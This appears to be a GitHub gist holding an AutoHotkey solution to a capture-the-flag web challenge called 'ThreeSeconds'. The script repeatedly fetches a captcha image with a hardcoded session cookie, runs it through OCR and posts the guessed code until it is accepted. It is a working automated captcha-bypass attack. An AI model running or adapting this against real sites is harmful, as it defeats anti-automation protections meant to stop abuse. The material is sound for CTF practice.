Skip to content

Instantly share code, notes, and snippets.

@jpginc
Created September 27, 2018 21:22
Show Gist options
  • Save jpginc/42cf396fe9a9d5260116dfccb373ff37 to your computer and use it in GitHub Desktop.
Save jpginc/42cf396fe9a9d5260116dfccb373ff37 to your computer and use it in GitHub Desktop.
Three seconds solution
#include <Vis2> ; Equivalent to #include .\lib\Vis2.ahk
loop, 10
{
urlasdf := "http://70.37.63.30/Web/ThreeSeconds/image.php"
WebRequest := ComObjCreate("WinHttp.WinHttpRequest.5.1")
WebRequest.Open("GET", urlasdf)
WebRequest.SetRequestHeader("Cookie", "PHPSESSID=g4p87ap7i1je6p807q9c5tlmgt; is_authorized=false")
WebRequest.SetRequestHeader("Referer", "http://70.37.63.30/Web/ThreeSeconds/index.php")
WebRequest.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
WebRequest.Send(param)
WebRequest.WaitForResponse()
p:=comobjquery(WebRequest.responsestream,"{0000000c-0000-0000-C000-000000000046}")
s := "testing.jpg"
f:=fileopen(s,"w")
loop{
varsetcapacity(b,8192)
r:=dllcall(numget(numget(p+0)+3*a_ptrsize),ptr,p,ptr,&b,uint,8192, "ptr*",c)
f.rawwrite(&b,c)
}until (c=0)
objrelease(p)
f.close()
run, testing.jpg
WinWait, ahk_exe PaintDotNet.exe
WinActivate,
sleep 200
send !fa
WinWaitActive, Save As
send {enter}
WinWaitActive, Confirm Save As
send !y
WinWaitActive, Save Configuration
send {enter}
WinWaitClose, Saving
sleep 200
URL := "http://70.37.63.30/Web/ThreeSeconds/index.php"
code := regexreplace(OCR("testing.jpg"), "[ ,]")
code := regexreplace(code, "qg", "q")
param := "captcha=" code
WebRequest := ComObjCreate("WinHttp.WinHttpRequest.5.1")
WebRequest.Open("POST", URL)
WebRequest.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
WebRequest.SetRequestHeader("Cookie", "PHPSESSID=g4p87ap7i1je6p807q9c5tlmgt; is_authorized=false")
WebRequest.SetRequestHeader("Referer", "http://70.37.63.30/Web/ThreeSeconds/index.php")
WebRequest.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
WebRequest.SetRequestHeader("Origin", "http://70.37.63.30")
WebRequest.Send(param)
res := WebRequest.ResponseText
all .= "code is " code "`r`n" res
IfNotInString, res, Wrong code.
{
clipboard := res
FileAppend, % res, finished.txt
MsgBox found it!! %res%
break
}
}
clipboard := all
MsgBox done
ExitApp
Esc:: ExitApp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment